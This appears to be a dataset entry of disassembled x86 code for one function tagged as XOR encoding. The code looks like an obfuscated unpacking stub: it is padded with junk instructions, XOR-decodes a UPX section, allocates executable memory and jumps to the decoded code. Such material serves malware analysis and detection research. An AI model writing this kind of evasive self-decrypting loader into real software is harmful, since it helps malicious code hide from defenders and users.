Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1929a3ca
add edi, 0xfa476e35
add ebx, ebx
popal
and edi, ebx
add edi, 0x45ccf421
add edi, 0xbbb8c028
mov ebx, 0
mov esi, eax
or ecx, edi
add ecx, 0xcf5c3c4c
add edi, 0x1ad5aa36
mov edx, esi
dec edi
dec ecx
mov eax, edx
and ecx, edi
inc edi
add ebx, 1
mov ecx, 0x6b7e1ef5
add ecx, edi
cmp ebx, 0x100102b
jne 0x47b456
not ecx
and ecx, edi
or edi, ebx
add edi, 0x9c581d9e
mov edx, 0x47b21e
sub edi, 1
mov edi, 0x5802bb4e
mov ebx, 0x47b412
sub esi, 0x1ce87f48
sub edi, eax
mov ecx, dword [edx]
mov edi, esi
add edi, 0x5ef11e30
and ecx, 0xff
sub esi, 0xfcb572e4
sub esi, edi
xor dword [ebx], ecx
mov edi, esi
not edi
inc ebx
not edi
or esi, edi
add edx, 1
add eax, edi
mov edi, esi
or eax, esi
cmp ebx, entry0
jl 0x47b4b1
inc esi
sub esi, 0xc5645b0c
not esi
and edi, eax
sub eax, edi
add esi, eax
mov edi, edx
not edi
mov ecx, 0x47b416
add esi, 0xfdac9b71
add edi, 0x8eca72cc
mov edx, 0x88bf7872
mov ecx, dword [ecx]
or edi, edi
dec edi
sub edi, 0x5b6d2e7
mov ecx, dword [ecx]
sub esi, 0x9fcc5b9e
and esi, ebx
inc ebx
push ecx
mov esi, 0xe2cea6a1
add ebx, 1
and edx, ebx
mov ecx, 0x47b412
inc edi
sub esi, edx
mov edi, ebx
mov ecx, dword [ecx]
mov edi, edx
not esi
mov ecx, dword [ecx]
sub ebx, edx
add esi, edx
push 0x47b41a
dec esi
add esi, esi
call ecx
mov ebx, 0x9e45a8ad
add edi, ebx
pop ecx
add edx, 1
add edx, 0xe674cefe
sub esp, 4
mov dword [esp], 0x47b427
not ebx
sub esi, 0x9751cfdb
add esi, edi
sub esp, 4
mov dword [esp], eax
add esi, 0xbb975fe5
sub esi, edi
add esi, edi
call ecx
mov esi, ebx
not edx
push 0x40
sub edx, 0x1ace12cd
mov ebx, 0x19641b87
mov edx, esi
push 0x3000
sub edi, esi
mov edi, 0xa6b2caf9
sub esi, 0x38949e69
sub esp, 4
mov dword [esp], 0x20000faa
add esi, 0x49154d27
mov edx, 0x6941994a
or edi, edi
push 0
sub ebx, 0x8325df6
sub ebx, 0xd92f20b6
call eax
add edi, 1
not edx
mov edi, 0xe342c8a4
add eax, 0x20000f12
dec edi
sub edi, edx
mov edi, esi
mov ecx, 0xb4bde8e0
and edx, ebx
mov edi, 0x10a3c1b7
mov dword [eax], ecx
add edx, 0x1c540ad
sub edi, ebx
mov ecx, dword [eax]
sub esi, ebx
mov edi, 0xb76681d7
cmp ecx, 0xb4bde8e0
je 0x47b62b
mov ebx, 0
mov byte [ebx], cl
add esi, esi
or edx, edx
sub esi, 0x6fe0990a
sub esi, ebx
sub esi, 0xddcebdbd
add ebx, edi
add edi, ebx
inc edi
mov edx, section.UPX1
mov ebx, edi
dec edi
mov eax, 0x47b21d
mov edi, ebx
or edi, edi
mov ecx, 0
mov ebx, edi
add edi, 1
mov esi, 0x47b21e
not ebx
and ebx, edi
add ebx, ebx
lea esi, [ecx + esi]
not ebx
mov ebx, edi
sub ebx, edi
mov esi, dword [esi]
not edi
mov edi, ebx
dec edi
and esi, 0xff
add ebx, 1
sub ebx, 1
inc ecx
or edi, ebx
sub edi, ebx
cmp ecx, 0x1f4
jne 0x47b69f
mov ecx, 0
add edi, ebx
mov edi, ebx
sub edi, ebx
and ebx, edi
mov ebx, edi
xor dword [edx], esi
not edi
add ebx, 0x317dfee7
mov ebx, 0x4b88e718
add edx, 2
or ebx, edi
add ebx, ebx
cmp edx, eax
jl 0x47b660
add edi, 0x105a4526
mov edi, 0x6f9d673d
dec ebx
mov edi, ebx
add ebx, edi
add ebx, 0xe1322342
mov ecx, section.UPX1
add eax, 0x5120c02d
sub eax, 0xaef9cd52
sub eax, esi
mov edx, section.UPX1
mov esi, 0x3a552e5e
mov eax, esi
mov edi, 0x47b21d
not eax
add esi, 0x19d46695
add eax, eax
mov ebx, 0
mov esi, 0xabfa3149
add esi, 0xc845a643
add eax, 0x555c866f
mov bl, byte [edx]
and esi, eax
sub esi, 0x165eceb2
mov byte [ecx], bl
and eax, esi
mov eax, esi
add ecx, 1
add eax, eax
sub eax, 0xab376d93
mov eax, esi
add edx, 2
and esi, esi
and esi, eax
cmp edx, edi
jle 0x47b724
mov eax, 0x2ef83962
add eax, eax
add edi, 0x79145a55
not edi
sub ebx, edi
push 0x45e6a0
sub ebx, edi
mov ebx, 0x3e8af6ca
ret